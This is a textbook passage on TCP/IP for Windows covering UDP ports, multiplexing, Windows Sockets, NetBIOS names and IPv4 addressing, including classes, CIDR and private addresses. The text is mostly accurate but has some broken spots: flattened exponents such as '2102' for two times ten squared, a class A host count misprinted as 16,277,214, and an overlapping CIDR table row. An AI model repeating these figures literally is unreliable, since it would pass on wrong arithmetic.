TCP/IP Fundamentals for Microsoft Windows
Page: 43
User Datagram Protocol (UDP)
UDP provides a connectionless datagram service that offers unreliable, best-effort delivery of data
transmitted in messages. This means that neither the arrival of datagrams nor the correct sequencing of
delivered packets is guaranteed. UDP does not retransmit lost data. UDP messages consist of a UDP
header and a UDP payload, also known as a message. RFC 768 defines UDP.
Applications use UDP if they do not require an acknowledgment of receipt of data, and they typically
transmit small amounts of data at one time. NetBIOS name service, NetBIOS datagram service, and
SNMP are examples of services and applications that use UDP.
Table 2-10 lists and describes the key fields in the UDP header.
Field
Description
Source Port
UDP port of sending application.
Destination Port
UDP port of destination application.
Checksum
A simple mathematical calculation that is used to
check for bit-level errors in the UDP message.
Table 2-10 Key Fields in the UDP Header
UDP Ports
To use UDP, an application must supply the IP address and UDP port number of the source and
destination applications. A port provides a location for sending messages. A unique number identifies
each port. UDP ports are distinct and separate from TCP ports even though some of them use the
same number. Just like TCP ports, UDP port numbers below 1024 are well-known ports that IANA
assigns. Table 2-11 lists a few well-known UDP ports.
UDP Port Number
Description
53
Domain Name System (DNS) name queries
69
Trivial File Transfer Protocol (TFTP)
137
NetBIOS name service
138
NetBIOS datagram service
161
SNMP
Table 2-11 Well-known UDP ports
For a complete list of assigned UDP ports, see http://www.iana.org/assignments/port-numbers.
Chapter 2 – Architectural Overview of the TCP/IP Protocol Suite
TCP/IP Fundamentals for Microsoft Windows
Page: 44
Packet Multiplexing and Demultiplexing
When a sending host sends an IPv4 or IPv6 packet, it includes information in the packet so that the
data within the packet can be delivered to the correct application on the destination. The inclusion of
identifiers so that data can be delivered to one of multiple entities in each layer of a layered architecture
is known as multiplexing. Multiplexing information for IP packets consists of identifying the node on the
network, the IP upper layer protocol, and for TCP and UDP, the port corresponding to the application to
which the data is destined. The destination host uses these identifiers to demultiplex, or deliver the data
layer by layer, to the correct destination application. The IP packet also includes information for the
destination host to send a response.
IP contains multiplexing information to do the following:
Identify the sending node (the Source IP Address field in the IPv4 header or the Source Address field in
the IPv6 header).
Identify the destination node (the Destination IP Address field in the IPv4 header or the Destination
Address in the IPv6 header).
Identify the upper layer protocol above the IPv4 or IPv6 Internet layer (the Protocol field in the IPv4
header or the Next Header field of the IPv6 header).
For TCP segments and UDP messages, identify the application from which the message was sent (the
Source Port in the TCP or UDP header).
For TCP segments and UDP messages, identify the application to which the message is destined (the
Destination Port in the TCP or UDP header).
TCP and UDP ports can use any number between 0 and 65,535. Port numbers for client-side
applications are typically dynamically assigned when there is a request for service, and IANA pre-
assigns port numbers for well-known server-side applications. The complete list of pre-assigned port
numbers is listed on http://www.iana.org/assignments/port-numbers.
All of this information is used to provide multiplexing information so that:
The packet can be forwarded to the correct destination.
The destination can use the packet payload to deliver the data to the correct application.
The receiving application can send a response.
When a packet is sent, this information is used in the following ways:
The routers that forward IPv4 or IPv6 packets use the Destination IP Address field in the IPv4 header or
the Destination Address in the IPv6 header to deliver the packet to the correct node on the network.
The destination node uses the Protocol field in the IPv4 header or the Next Header field of the IPv6
header to deliver the packet payload to the correct upper-layer protocol.
For TCP segments and UDP messages, the destination node uses the Destination Port field in the TCP
or UDP header to demultiplex the data within the TCP segment or UDP message to the correct
application.
Chapter 2 – Architectural Overview of the TCP/IP Protocol Suite
TCP/IP Fundamentals for Microsoft Windows
Page: 45
Figure 2-5 shows an example of a DNS Name Query Request message in an IPv4 packet with a
destination IP address of 131.107.89.223 being demultiplexed to the DNS service.
Figure 2-5 Example of IPv4 packet demultiplexing
Chapter 2 – Architectural Overview of the TCP/IP Protocol Suite
TCP/IP Fundamentals for Microsoft Windows
Page: 46
Application Programming Interfaces
Windows networking applications use two main application programming interfaces (APIs) to access
TCP/IP services in Windows: Windows Sockets and NetBIOS. Figure 2-6 shows these APIs and the
possible data flows when using them.
Figure 2-6 Architecture of the Windows Sockets and NetBIOS APIs
Some architectural differences between the Windows Sockets and NetBIOS APIs are the following:
NetBIOS over TCP/IP (NetBT) is defined for operation over IPv4. Windows Sockets operates over both
IPv4 and IPv6.
Windows Sockets applications can operate directly over the IPv4 or IPv6 Internet layers, without the
use of TCP or UDP. NetBIOS operates over TCP and UDP only.
Windows Sockets
Windows Sockets is a commonly used, modern API for networking applications in Windows. The
TCP/IP services and tools supplied with Windows are examples of Windows Sockets applications.
Windows Sockets provides services that allow applications to use a specific IP address and port, initiate
and accept a connection to a specific destination IP address and port, send and receive data, and close
a connection.
Chapter 2 – Architectural Overview of the TCP/IP Protocol Suite
TCP/IP Fundamentals for Microsoft Windows
Page: 47
There are three types of sockets:
A stream socket, which provides a two-way, reliable, sequenced, and unduplicated flow of data using
TCP.
A datagram socket, which provides bidirectional flow of data using UDP.
A raw socket, which allows protocols to access IP directly, without using TCP or UDP.
A socket functions as an endpoint for network communication. An application creates a stream or
datagram socket by specifying three items: the IP address of the host, the type of service (TCP for
connection-based service and UDP for connectionless), and the port the application is using. Two
sockets, one for each end of the connection, form a bidirectional communications path. For raw
sockets, the application must specify the entire IP payload.
NetBIOS
NetBIOS is an older API that provides name management, datagram, and session services to NetBIOS
applications. An application program that uses the NetBIOS interface API for network communication
can be run on any protocol implementation that supports the NetBIOS interface. Examples of Windows
applications and services that use NetBIOS are file and printer sharing and the Computer Browser
service.
NetBIOS also defines a protocol that functions at the OSI Session layer. This layer is implemented by
the underlying protocol implementation, such as NetBIOS over TCP/IP (NetBT), which RFCs 1001 and
1002 define. The NetBIOS name service uses UDP port 137. The NetBIOS datagram service uses
UDP port 138. The NetBIOS session service uses TCP port 139.
For more information about NetBIOS and NetBT, see Chapter 11, "NetBIOS over TCP/IP."
Chapter 2 – Architectural Overview of the TCP/IP Protocol Suite
TCP/IP Fundamentals for Microsoft Windows
Page: 48
TCP/IP Naming Schemes in Windows
Although IP is designed to work with the 32-bit (IPv4) and 128-bit (IPv6) addresses of sending and
destination hosts, computers users are much better at using and remembering names than IP
addresses. If a name is used as an alias for an IP address, mechanisms must exist for assigning
names to IP addresses, ensuring their uniqueness, and for resolving the name to its IP address.
TCP/IP components of Windows use separate mechanisms for assigning and resolving host names
(used by Windows Sockets applications) and NetBIOS names (used by NetBIOS applications).
Host Names
A host name is an alias assigned to an IP node to identify it as a TCP/IP host. The host name can be
up to 255 characters long and can contain alphabetic and numeric characters and the “-” and “.”
characters. Multiple host names can be assigned to the same host.
Windows Sockets applications, such as Internet Explorer and the Ping tool, can use one of two values
to refer to the destination: the IP address or a host name. When the user specifies an IP address, name
resolution is not needed. When the user specifies a host name, the host name must be resolved to an
IP address before IP-based communication with the target resource can begin.
Host names can take various forms. The two most common forms are a nickname and a fully qualified
domain name (FQDN). A nickname is an alias to an IP address that individual people can assign and
use. An FQDN is a structured name, such as www.microsoft.com, that follows the Internet conventions
used in DNS.
For information about how TCP/IP components in Windows resolve host names, see Chapter 7, “Host
Name Resolution.” For more information about DNS, see Chapter 8, “Domain Name System Overview.”
NetBIOS Names
A NetBIOS name is a 16-byte name that identifies a NetBIOS application on the network. A NetBIOS
name is either a unique (exclusive) or group (nonexclusive) name. When a NetBIOS application
communicates with a specific NetBIOS application on a specific computer, a unique name is used.
When a NetBIOS process communicates with multiple NetBIOS applications on multiple computers, a
group name is used.
The NetBIOS name identifies applications at the Session layer of the OSI model. For example, the
NetBIOS Session service operates over TCP port 139. Because all NetBT session requests are
addressed to TCP destination port 139, a NetBIOS application must use the destination NetBIOS name
when it establishes a NetBIOS session.
An example of a process using a NetBIOS name is the file and print sharing server service on a
Windows–based computer. When your computer starts up, the server service registers a unique
NetBIOS name based on your computer’s name. The exact name used by the server service is the 15-
character computer name plus a 16th character of 0x20. If the computer name is not 15 characters
long, it is padded with spaces up to 15 characters long. Other network services also use the computer
name to build their NetBIOS names, and the 16th character is typically used to identify each service.
When you attempt to make a file-sharing connection to a computer running Windows by specifying the
computer’s name, the Server service on the file server that you specify corresponds to a specific
Chapter 2 – Architectural Overview of the TCP/IP Protocol Suite
TCP/IP Fundamentals for Microsoft Windows
Page: 49
NetBIOS name. For example, when you attempt to connect to the computer called CORPSERVER, the
NetBIOS name corresponding to the Server service is CORPSERVER <20>. (Note the padding using
the space character.) Before a file and print sharing connection can be established, a TCP connection
must be created. For a TCP connection to be created, the NetBIOS name CORPSERVER <20> must
be resolved to an IPv4 address. NetBIOS name resolution is the process of mapping a NetBIOS name
to an IPv4 address.
For more information about NetBT and NetBIOS name resolution methods, see Chapter 11, “NetBIOS
over TCP/IP.”
Chapter 2 – Architectural Overview of the TCP/IP Protocol Suite
TCP/IP Fundamentals for Microsoft Windows
Page: 50
Chapter Summary
The key information in this chapter is the following:
The TCP/IP protocol suite maps to the four layers of the DARPA model: Application, Transport,
Internet, and Network Interface.
The protocols of the IPv4 Internet layer consist of ARP, IP (IPv4), ICMP, and IGMP.
The protocols of the IPv6 Internet layer consist of IPv6, ICMPv6, ND, and MLD.
The protocols of the Transport layer include TCP and UDP. TCP is a reliable, connection-oriented
delivery service. UDP provides a connectionless datagram service that offers unreliable, best-effort
delivery of data transmitted in messages.
IP packets are multiplexed and demultiplexed between applications based on fields in the IPv4, IPv6,
TCP, and UDP headers.
TCP/IP components in Windows support two main APIs for networking applications: Windows Sockets
and NetBIOS. Windows Sockets is a modern API that allows applications to manage stream sockets,
datagram sockets, and raw sockets. NetBIOS is an older API that allows applications to manage
NetBIOS names, datagrams, and sessions.
TCP/IP components in Windows support two naming schemes for networking applications: host names
(used by Windows Sockets applications) and NetBIOS names (used by NetBIOS applications).
Chapter 2 – Architectural Overview of the TCP/IP Protocol Suite
TCP/IP Fundamentals for Microsoft Windows
Page: 51
Chapter Glossary
address autoconfiguration – The IPv6 ND process of automatically configuring IPv6 addresses on an
interface.
address resolution – The IPv4 (using ARP) or IPv6 (using ND) process that resolves the MAC address
for a next-hop IP address.
Address Resolution Protocol (ARP) – A protocol that uses broadcast traffic on the local network to
resolve an IPv4 address to its MAC address.
ARP – See Address Resolution Protocol.
ARP cache – A table for each interface of static or dynamically resolved IPv4 addresses and their
corresponding MAC addresses.
ICMP – See Internet Control Message Protocol.
ICMPv6 – Internet Control Message Protocol for IPv6.
IGMP – See Internet Group Management Protocol.
Internet Control Message Protocol (ICMP) – A protocol in the IPv4 Internet layer that reports errors and
provides troubleshooting facilities.
Internet Control Message Protocol for IPv6 (ICMPv6) – A protocol in the IPv6 Internet layer that reports
errors, provides troubleshooting facilities, and hosts ND and MLD messages.
Internet Group Management Protocol (IGMP) – A protocol in the IPv4 Internet layer that manages
multicast group membership on a subnet.
Internet Protocol (IP) – For IPv4, a routable protocol in the IPv4 Internet layer that addresses, routes,
fragments, and reassembles IPv4 packets. Also used to denote both IPv4 and IPv6 sets of protocols.
IP – See Internet Protocol.
IPv4 – The Internet layer in widespread use on the Internet and on private intranets. Another term for
IP.
IPv6 – The new Internet layer that will eventually replace the IPv4 Internet layer.
MLD – See Multicast Listener Discovery.
Multicast Listener Discovery (MLD) – A set of three ICMPv6 messages that hosts and routers use to
manage multicast group membership on a subnet.
name resolution – The process of resolving a name to an address.
ND – See Neighbor Discovery.
neighbor cache – A cache maintained by every IPv6 node that stores the IPv6 address of a neighbor
and its corresponding MAC address. The neighbor cache is equivalent to the ARP cache in IPv4.
Neighbor Discovery (ND) – A set of ICMPv6 messages and processes that determine relationships
between neighboring nodes. Neighbor Discovery replaces ARP, ICMP router discovery, and the ICMP
Redirect message used in IPv4.
Chapter 2 – Architectural Overview of the TCP/IP Protocol Suite
TCP/IP Fundamentals for Microsoft Windows
Page: 52
Network Basic Input/Output System (NetBIOS) – A standard API for user applications to manage
NetBIOS names and access NetBIOS datagram and session services.
NetBIOS – See Network Basic Input/Output System.
router discovery – A Neighbor Discovery process in which a host discovers the local routers on an
attached subnet.
TCP – See Transmission Control Protocol.
Transmission Control Protocol (TCP) – A reliable, connection-oriented Transport layer protocol that
runs on top of IP.
UDP – See User Datagram Protocol
User Datagram Protocol (UDP) – An unreliable, connectionless Transport layer protocol that runs on
top of IP.
Windows Sockets – A commonly used application programming interface (API) that Windows
applications use to transfer data using TCP/IP.
Chapter 3 – IP Addressing
TCP/IP Fundamentals for Microsoft Windows
Page: 53
Chapter 3 – IP Addressing
Abstract
This chapter describes the details of addressing for both IPv4 and IPv6. Network administrators need a thorough
understanding of both types of addressing to administer Transmission Control Protocol/Internet Protocol (TCP/IP)
networks and troubleshoot TCP/IP-based communication. This chapter discusses in detail the types of Internet Protocol
version 4 (IPv4) and Internet Protocol version 6 (IPv6) addresses, how they are expressed, and the types of unicast
addresses assigned to network node interfaces.
Chapter 3 – IP Addressing
TCP/IP Fundamentals for Microsoft Windows
Page: 54
Chapter Objectives
After completing this chapter, you will be able to:
Describe the syntax for IPv4 addresses and address prefixes, and convert between binary and decimal
numbers.
List the three types of IPv4 addresses, and give examples of each type.
Describe the differences between public, private, and illegal IPv4 addresses.
Describe the syntax for IPv6 addresses and address prefixes, and convert between binary and
hexadecimal numbers.
List the three types of IPv6 addresses, and give examples of each type.
Describe the differences between global, unique local, and link-local unicast IPv6 addresses.
Convert an Institute of Electrical and Electronics Engineers (IEEE) 802 address to an IPv6 interface
identifier.
Compare addresses and addressing concepts between IPv4 and IPv6.
Chapter 3 – IP Addressing
TCP/IP Fundamentals for Microsoft Windows
Page: 55
IPv4 Addressing
An IP address is an identifier that is assigned at the Internet layer to an interface or a set of interfaces.
Each IP address can identify the source or destination of IP packets. For IPv4, every node on a network
has one or more interfaces, and you can enable TCP/IP on each of those interfaces. When you enable
TCP/IP on an interface, you assign it one or more logical IPv4 addresses, either automatically or
manually. The IPv4 address is a logical address because it is assigned at the Internet layer and has no
relation to the addresses that are used at the Network Interface layer. IPv4 addresses are 32 bits long.
IPv4 Address Syntax
If network administrators expressed IPv4 addresses using binary notation, each address would appear
as a 32-digit string of 1s and 0s. Because such strings are cumbersome to express and remember,
administrators use dotted decimal notation, in which periods (or dots) separate four decimal numbers
(from 0 to 255). Each decimal number, known as an octet, represents 8 bits (1 byte) of the 32-bit
address.
For example, the IPv4 address 11000000101010000000001100011000 is expressed as 192.168.3.24
in dotted decimal notation. To convert an IPv4 address from binary notation to dotted decimal notation,
you:
Segment it into 8-bit blocks: 11000000 10101000 00000011 00011000
Convert each block to decimal: 192 168 3 24
Separate the blocks with periods: 192.168.3.24
When referring to an IPv4 address, use the notation w.x.y.z. Figure 3-1 shows the IPv4 address
structure.
Figure 3-1 The IPv4 address in dotted decimal notation
To become adept at moving between binary and decimal formats, you can review the binary (Base2)
and decimal (Base10) numbering systems and how to convert between them. Although you can use the
Chapter 3 – IP Addressing
TCP/IP Fundamentals for Microsoft Windows
Page: 56
calculator in Windows to convert between decimal and binary, you will better understand the
conversions if you can do them manually.
Converting from Binary to Decimal
The decimal numbering system uses the digits 0 through 9 and the exponential powers of 10 to express
a number. For example, the decimal number 207 is the sum of 2102 + 0101 + 7100. The binary
numbering system uses the digits 1 and 0 and the exponential powers of 2 to express a number. The
binary number 11001 is the sum of 124 + 123 + 022 + 021 + 120. Dotted decimal notation never
includes numbers that are larger than 255 because each decimal number represents 8 bits of a 32-bit
address. The largest number that 8 bits can express is 11111111 in binary, which is 255 in decimal.
Figure 3-2 shows an 8-bit binary number, the bit positions, and their decimal values.
Figure 3-2 An 8-bit binary number
To manually convert an 8-bit number from binary to decimal (starting at the top of Figure 3-2), do the
following:
1. If the eighth bit position equals 1, add 128 to the total.
2. If the seventh bit position equals 1, add 64 to the total.
3. If the sixth bit position equals 1, add 32 to the total.
4. If the fifth bit position equals 1, add 16 to the total.
5. If the fourth bit position equals 1, add 8 to the total.
Chapter 3 – IP Addressing
TCP/IP Fundamentals for Microsoft Windows
Page: 57
6. If the third bit position equals to 1, add 4 to the total.
7. If the second bit position equals 1, add 2 to the total.
8. If the first bit position equals to 1, add 1 to the total.
For example, for the 8-bit binary number 10111001:
1. The eighth bit position equals 1. Add 128 to the total. The total is now 128.
2. The seventh bit position equals 0.
3. The sixth bit position equals 1. Add 32 to the total. The total is now 160.
4. The fifth bit position equals 1. Add 16 to the total. The total is now 176.
5. The fourth bit position equals 1. Add 8 to the total. The total is now 184.
6. The third bit position equals 0.
7. The second bit position equals 0.
8. The first bit position equals 1. Add 1 to the total. The total is now 185.
Therefore, 10111001 in binary is 185 in decimal.
In summary, to convert a binary number to its decimal equivalent, total the decimal equivalents for the
bit positions that are set to 1. If all 8 bits are set to 1, add 128 + 64 + 32 + 16 + 8 + 4 + 2 + 1 to get 255.
Converting from Decimal to Binary
To manually convert a number up to 255 from decimal notation to binary format (starting at the decimal
column of Figure 3-2), do the following:
1. If the number is larger than 127, place a 1 in the eighth bit position, and subtract 128 from the
number. Otherwise, place a 0 in the eighth bit position.
2. If the remaining number is larger than 63, place a 1 in the seventh bit position, and subtract 64 from
the number. Otherwise, place a 0 in the seventh bit position.
3. If the remaining number is larger than 31, place a 1 in the sixth bit position, and subtract 32 from the
number. Otherwise, place a 0 in the sixth bit position.
4. If the remaining number is larger than 15, place a 1 in the fifth bit position, and subtract 16 from the
number. Otherwise, place a 0 in the fifth bit position.
5. If the remaining number is larger than 7, place a 1 in the fourth bit position, and subtract 8 from the
number. Otherwise, place a 0 in the fourth bit position.
6. If the remaining number is larger than 3, place a 1 in the third bit position, and subtract 4 from the
number. Otherwise, place a 0 in the third bit position.
7. If the remaining number is larger than 1, place a 1 in the second bit position, and subtract 2 from the
number. Otherwise, place a 0 in the second bit position.
8. If the remaining number equals 1, place a 1 in the first bit position. Otherwise, place a 0 in the first bit
position.
Here is an example of converting the number 197 from decimal to binary:
Chapter 3 – IP Addressing
TCP/IP Fundamentals for Microsoft Windows
Page: 58
1. Because 197 is larger than 127, place a 1 in the eighth bit position, and subtract 128 from 197,
leaving 69. The binary number so far is 1xxxxxxx.
2. Because 69 is larger than 63, place a 1 in the seventh bit position, and subtract 64 from 69, leaving
5. The binary number so far is 11xxxxxx.
3. Because 5 is not larger than 31, place a 0 in the sixth bit position. The binary number so far is
110xxxxx.
4. Because 5 is not larger than 15, place a 0 in the fifth bit position. The binary number so far is
1100xxxx.
5. Because 5 is not larger than 7, place a 0 in the fourth bit position. The binary number so far is
11000xxx.
6. Because 5 is larger than 3, place a 1 in the third bit position, and subtract 4 from 5, leaving 1. The
binary number so far is 110001xx.
7. Because 1 is not larger than 1, place a 0 in the second bit position. The binary number so far is
1100010x.
8. Because 1 equals 1, place a 1 in the first bit position. The final binary number is 11000101. The
decimal number 197 is equal to the binary number 11000101.
In summary, to convert from decimal to binary, verify whether the decimal number contains the
quantities represented by the bit positions from the eighth bit to the first bit. Starting from the eighth bit
quantity (128), if each quantity is present, set the bit in that bit position to 1. For example, the decimal
number 211 contains 128, 64, 16, 2, and 1. Therefore, 211 is 11010011 in binary notation.
IPv4 Address Prefixes
Each bit of a unique IPv4 address has a defined value. However, IPv4 address prefixes express ranges
of IPv4 addresses in which zero or more of the high-order bits are fixed at specific values and the rest
of the low-order variable bits are set to zero. Address prefixes are routinely used to express a range of
allowable addresses, subnet prefixes assigned to subnets, and routes.
To express an IPv4 address prefix, you must identify the number of high-order bits that are fixed and
their value. Then you can use prefix length notation or dotted decimal notation.
Prefix Length Notation
If you use prefix length notation, you express address prefixes as StartingAddress/PrefixLength, in
which:
StartingAddress is the dotted decimal expression of the first mathematically possible address in the
range. To form the starting address, set the fixed bits at their defined values, and set the remaining bits
to 0.
PrefixLength is the number of high-order bits in the address that are fixed.
For example, the IPv4 address prefix 131.107.0.0/16 specifies a range of 65,536 addresses. The prefix
length, 16, specifies that all addresses in the range begin with the same 16 bits as the starting address.
Because the first 16 bits of the starting address are fixed at 10000011 01101011 (131 107 in decimal),
Chapter 3 – IP Addressing
TCP/IP Fundamentals for Microsoft Windows
Page: 59
all addresses in the range have 131 as the first octet and 107 as the second octet. With 16 variable bits
in the last two octets, there is a total of 216 or 65,536 possible addresses.
To specify an address prefix using prefix length notation, you create the starting address by setting all
variable bits to 0, you convert the address to dotted decimal notation, and then you add a slash and the
number of fixed bits (the prefix length) after the starting address.
The IPv4 address prefix 131.107.0.0/16 has 16 fixed bits (10000011 01101011). The starting address is
the first 16 bits that are fixed and then the last 16 bits that are set to 0, which is 10000011 01101011
00000000 00000000 or 131.107.0.0. Next, you would add a slash and specify the number of fixed bits
(/16) to express the address prefix as 131.107.0.0/16.
Prefix length notation is also known as Classless Inter-Domain Routing (CIDR) notation.
Dotted Decimal Notation
You can also express an IPv4 address prefix length as a 32-bit number in dotted decimal notation. To
use this method, set all fixed bits to 1, set all variable bits to 0, and convert the result to dotted decimal
notation. Continuing our previous example, set the 16 fixed bits to 1 and the 16 variable bits to 0. The
result is 11111111 11111111 00000000 00000000, or 255.255.0.0. The address prefix is expressed as
131.107.0.0, 255.255.0.0. Expressing the prefix length as a dotted decimal number in this way is also
known as network mask or subnet mask notation.
Table 3-1 lists the decimal value of an octet when you set the successive high-order bits of an 8-bit
number to 1.
Number of Bits
Binary
Decimal
0
00000000
0
1
10000000
128
2
11000000
192
3
11100000
224
4
11110000
240
5
11111000
248
6
11111100
252
7
11111110
254
8
11111111
255
Table 3-1 Decimal Values for Prefix Lengths
When you configure IPv4 address prefixes in Windows, you will use subnet mask notation more
commonly than prefix length notation. However, you must be familiar with both types of notation
because some Windows configuration dialog boxes require you to use prefix length notation rather than
subnet mask notation and because IPv6 supports prefix length notation only.
Types of IPv4 Addresses
Internet standards define the following types of IPv4 addresses:
Unicast
Chapter 3 – IP Addressing
TCP/IP Fundamentals for Microsoft Windows
Page: 60
Assigned to a single network interface located on a specific subnet; used for one-to-one
communication.
Multicast
Assigned to one or more network interfaces located on various subnets; used for one-to-many
communication.
Broadcast
Assigned to all network interfaces located on a subnet; used for one-to-everyone on a subnet
communication.
The following sections describe these types of addresses in detail.
IPv4 Unicast Addresses
The IPv4 unicast address identifies an interface’s location on the network in the same way that a street
address identifies a house on a city block. Just as a street address must identify a unique residence, an
IPv4 unicast address must be globally unique and have a uniform format.
Each IPv4 unicast address includes a subnet prefix and a host ID portion.
The subnet prefix (also known as a network identifier or network address) portion of an IPv4 unicast
address identifies the set of interfaces that are located on the same physical or logical network
segment, whose boundaries are defined by IPv4 routers. A network segment on TCP/IP networks is
also known as a subnet or a link. All nodes on the same physical or logical subnet must use the same
subnet prefix, and the subnet prefix must be unique within the entire TCP/IP network.
The host ID (also known as a host address) portion of an IPv4 unicast address identifies a network
node's interface on a subnet. The host ID must be unique within the network segment.
Figure 3-3 illustrates the structure of an example unicast IPv4 address.
Figure 3-3 Structure of an example unicast IPv4 address
If the subnet prefix is unique to the TCP/IP network and the host ID is unique on the network segment,
the entire IPv4 unicast address is unique to the entire TCP/IP network.
Internet Address Classes
The Internet community originally defined address classes to systematically assign address prefixes to
networks of varying sizes. The class of address defined how many bits were used for the subnet prefix
and how many bits were used for the host ID. Address classes also defined the possible number of
networks and the number of hosts per network. Of five address classes, class A, B, and C addresses
were reserved for IPv4 unicast addresses. Class D addresses were reserved for IPv4 multicast
addresses, and class E addresses were reserved for experimental uses.
Class A address prefixes were assigned to networks with very large numbers of hosts. The prefix length
of Class A address prefixes is only 8 bits, allowing the remaining 24 bits to identify up to 16,777,214
Chapter 3 – IP Addressing
TCP/IP Fundamentals for Microsoft Windows
Page: 61
host IDs. However, the short prefix length limits the number of networks that can receive class A
address prefixes to 126. First, the high-order bit in class A address prefixes is always set to 0. That
convention decreases the number of class A address prefixes from 256 to 128. Second, addresses in
which the first eight bits are set to 00000000 cannot be assigned because they constitute a reserved
address prefix. Third, addresses in which the first eight bits are set to 01111111 (127 in decimal) cannot
be assigned because they are reserved for loopback addresses. Those last two conventions decrease
the number of class A address prefixes from 128 to 126.
For any IPv4 address prefix, the two host IDs in which all the host bits are set to 0 (the all-zeros host
ID) or to 1 (the all-ones host ID) are reserved and cannot be assigned to network node interfaces. This
convention reduces the number of host IDs in each class A network from 16,777,216 (224) to
16,777,214.
Figure 3-4 illustrates the structure of class A addresses.
Figure 3-4 Structure of class A addresses
Class B address prefixes were assigned to medium to large-sized networks. In addresses for these
networks, the first 16 bits specify a particular network, and the last 16 bits specify a particular host.
However, the two high-order bits in a class B address are always set to 10, which makes the address
prefix for all class B networks and addresses 128.0.0.0/2 (or 128.0.0.0, 192.0.0.0). With 14 bits to
express class B address prefixes and 16 bits to express host IDs, class B addresses can be assigned
to 16,384 networks with up to 65,534 hosts per network.
Figure 3-5 illustrates the structure of class B addresses.
Figure 3-5 Structure of class B addresses
Class C address prefixes were assigned to small networks. In addresses for these networks, the first 24
bits specify a particular network, and the last 8 bits specify particular hosts. However, the three high-
order bits in a class C address prefix are always set to 110, which makes the address prefix for all class
C networks and addresses 192.0.0.0/3 (or 192.0.0.0, 224.0.0.0). With 21 bits to express class C
address prefixes and 8 bits to express host IDs, class C addresses can be assigned to 2,097,152
networks with up to 254 hosts per network.
Figure 3-6 illustrates the structure of class C addresses.
Figure 3-6 Structure of class C addresses
Chapter 3 – IP Addressing
TCP/IP Fundamentals for Microsoft Windows
Page: 62
Class D addresses are reserved for IPv4 multicast addresses. The four high-order bits in a class D
address are always set to 1110, which makes the address prefix for all class D addresses 224.0.0.0/4
(or 224.0.0.0, 240.0.0.0). For more information, see "IPv4 Multicast Addresses" in this chapter.
Class E addresses are reserved for experimental use. The high-order bits in a class E address are set
to 1111, which makes the address prefix for all class E addresses 240.0.0.0/4 (or 240.0.0.0, 240.0.0.0).
Table 3-2 summarizes the Internet address classes A, B, and C that can be used for IPv4 unicast
addresses.
Class
Value for w
Address Prefix
Portion
Host ID
Portion
Address
Prefixes
Host IDs
per
Address
Prefix
A
1-126
w
x.y.z
126
16,277,214
B
128-191
w.x
y.z
16,384
65,534
C
192-223
w.x.y
z
2,097,152
254
Table 3-2 Internet Address Class Summary
Modern Internet Addresses
The Internet address classes are an obsolete method of allocating unicast addresses because it proved
inefficient. For example, a large organization with a class A address prefix can have up to 16,777,214
hosts. However, if the organization uses only 70,000 host IDs, 16,707,214 potential IPv4 unicast
addresses for the Internet are wasted.
Since 1993, IPv4 address prefixes are assigned to organizations based on the organization's actual
need for Internet-accessible IPv4 unicast addresses. This method is known as Classless Inter-Domain
Routing (CIDR). For example, an organization determines that it needs 2,000 Internet-accessible IPv4
unicast addresses. The Internet Corporation for Assigned Names and Numbers (ICANN) or an Internet
service provider (ISP) allocates an IPv4 address prefix in which 21 bits are fixed, leaving 11 bits for host
IDs. From the 11 bits for host IDs, you can create 2,046 possible IPv4 unicast addresses.
CIDR-based address allocations typically start at 24 bits for the address prefix and 8 bits for the host ID.
Table 3-3 lists the required number of host IDs and the corresponding prefix length for CIDR-based
address allocations.
Number of Host IDs
Prefix Length
Dotted Decimal
2–254
/24
255.255.255.0
255–510
/23
255.255.254.0
511–1,022
/22
255.255.252.0
1,021–2,046
/21
255.255.248.0
2,047–4,094
/20
255.255.240.0
4,095–8,190
/19
255.255.224.0
8,191–16,382
/18
255.255.192.0
16,383–32,766
/17
255.255.128.0
32,767–65,534
/16
255.255.0.0
Chapter 3 – IP Addressing
TCP/IP Fundamentals for Microsoft Windows
Page: 63
Table 3-3 Host ID Requirements and CIDR-based Prefix Lengths
Public Addresses
If you want direct (routed) connectivity to the Internet, then you must use public addresses. If you want
indirect (proxied or translated) connectivity to the Internet, you can use either public or private
addresses. If your intranet is not connected to the Internet in any way, you can use any unicast IPv4
addresses that you want. However, you should use private addresses to avoid network renumbering if
your intranet ever directly connects to the Internet.
ICANN assigns public addresses, which consist of either historically allocated classful address prefixes
or, more recently, CIDR-based address prefixes that are guaranteed to be unique on the Internet. For
CIDR-based address prefixes, the value of w (the first octet) ranges from 1 to 126 and from 128 to 223,
with the exception of the private address prefixes described in the "Private Addresses" section of this
chapter.
When ICANN assigns a public address prefix to an organization, routes are added to the routers of the
Internet so that traffic matching the address prefix can reach the organization. For example, when an
organization is assigned an address prefix, that address prefix also exists as a route in the routers of
the Internet. IPv4 packets that are sent to an address within the assigned address prefix are routed to
the proper destination.
Illegal Addresses
Private organization intranets that do not need an Internet connection can choose any address scheme
they want, even using public address prefixes that ICANN has assigned to other networks. If the private
organization later decides to directly connect to the Internet, these addresses could conflict with existing
public addresses and become illegal addresses. Organizations with illegal addresses cannot receive
traffic at those addresses because the routers of the Internet send traffic destined to ICANN-allocated
address prefixes to the assigned organizations, not to the organizations using illegal addresses.
For example, a private organization chooses to use the 206.73.118.0/24 address prefix for its intranet.
ICANN has assigned that prefix to the Microsoft Corporation, and routes exist on the Internet routers to
send all packets for IPv4 addresses on 206.73.118.0/24 to Microsoft. As long as the private
organization does not connect to the Internet, it has no problem because the two address prefixes are
on separate IPv4 networks; therefore, the addresses are unique to each network. If the private
organization later connects directly to the Internet and continues to use the 206.73.118.0/24 address
prefix, any traffic sent through the Internet to those addresses will arrive at Microsoft, not the private
organization.
Private Addresses
Each IPv4 interface requires an IPv4 address that is unique within the IPv4 network. In the case of the
Internet, each IPv4 interface on a subnet connected to the Internet requires an IPv4 address that is
unique within the Internet. As the Internet grew, organizations connecting to it required a public address
for each interface on their intranets. This requirement placed a huge demand on the pool of available
public addresses.
When analyzing the addressing needs of organizations, the designers of the Internet noted that, for
many organizations, most of the hosts did not require direct connectivity to the Internet. Those hosts
Chapter 3 – IP Addressing
TCP/IP Fundamentals for Microsoft Windows
Page: 64
that did require a specific set of Internet services, such as Web access and e-mail, typically accessed
the Internet services through Application layer gateways, such as proxy servers and e-mail servers. The
result is that most organizations required only a few public addresses for those nodes (such as proxies,
servers, routers, firewalls, and translators) that were directly connected to the Internet.
Hosts within the organization that do not require direct access to the Internet required IPv4 addresses
that do not duplicate already-assigned public addresses. To solve this addressing problem, the Internet
designers reserved a portion of the IPv4 address space for private addresses. IPv4 addresses in the
private address space are known as private addresses and never assigned as public addresses.
Because the public and private address spaces do not overlap, private addresses never duplicate
public addresses.
